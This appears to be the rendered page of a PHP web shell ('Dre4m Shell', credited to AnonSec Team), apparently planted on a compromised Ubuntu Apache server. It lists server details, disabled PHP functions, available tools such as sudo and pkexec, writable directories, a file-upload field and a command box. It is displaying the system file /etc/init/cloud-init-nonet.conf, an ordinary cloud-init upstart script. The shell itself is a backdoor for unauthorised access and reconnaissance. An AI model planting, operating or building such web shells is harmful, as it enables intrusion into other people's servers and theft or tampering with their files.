Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.23.59.191
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /etc/init/cloud-init-nonet.conf
# cloud-init-no-net
# the purpose of this job is
#  * to block running of cloud-init until all network interfaces
#    configured in /etc/network/interfaces are up
#  * timeout if they all do not come up in a reasonable amount of time
start on mounted MOUNTPOINT=/ and stopped cloud-init-local
stop on static-network-up
task

console output

script
   set +e  # you cannot trap TERM reliably with 'set -e'
   SLEEP_CHILD=""

   static_network_up() {
      local emitted="/run/network/static-network-up-emitted"
      # /run/network/static-network-up-emitted is written by
      # upstart (via /etc/network/if-up.d/upstart). its presense would
      # indicate that static-network-up has already fired.
      [ -e "$emitted" -o -e "/var/$emitted" ]
   }
   msg() {
      local uptime="" idle=""
      if [ -r /proc/uptime ]; then
         read uptime idle < /proc/uptime
      fi
      echo "$UPSTART_JOB${uptime:+[${uptime}]}:" "$1"
   }

   handle_sigterm() {
      # if we received sigterm and static networking is up then it probably
      # came from upstart as a result of 'stop on static-network-up'
      if [ -n "$SLEEP_CHILD" ]; then
          if ! kill $SLEEP_CHILD 2>/dev/null; then
              [ ! -d "/proc/$SLEEP_CHILD" ] ||
                  msg "hm.. failed to kill sleep pid $SLEEP_CHILD"
          fi
      fi
      if static_network_up; then
         msg "static networking is now up"
         exit 0
      fi
      msg "recieved SIGTERM, networking not up"
      exit 2
   }

   dowait() {
      [ $# -eq 2 ] || msg "waiting $1 seconds for network device"
      sleep "$1" &
      SLEEP_CHILD=$!
      wait $SLEEP_CHILD
      SLEEP_CHILD=""
   }

   trap handle_sigterm TERM

   # static_network_up already occurred
   static_network_up && exit 0

   dowait 5 silent
   dowait 10
   dowait 115
   msg "gave up waiting for a network device."
   : > /var/lib/cloud/data/no-net
end script

Anon7 - 2022
AnonSec Team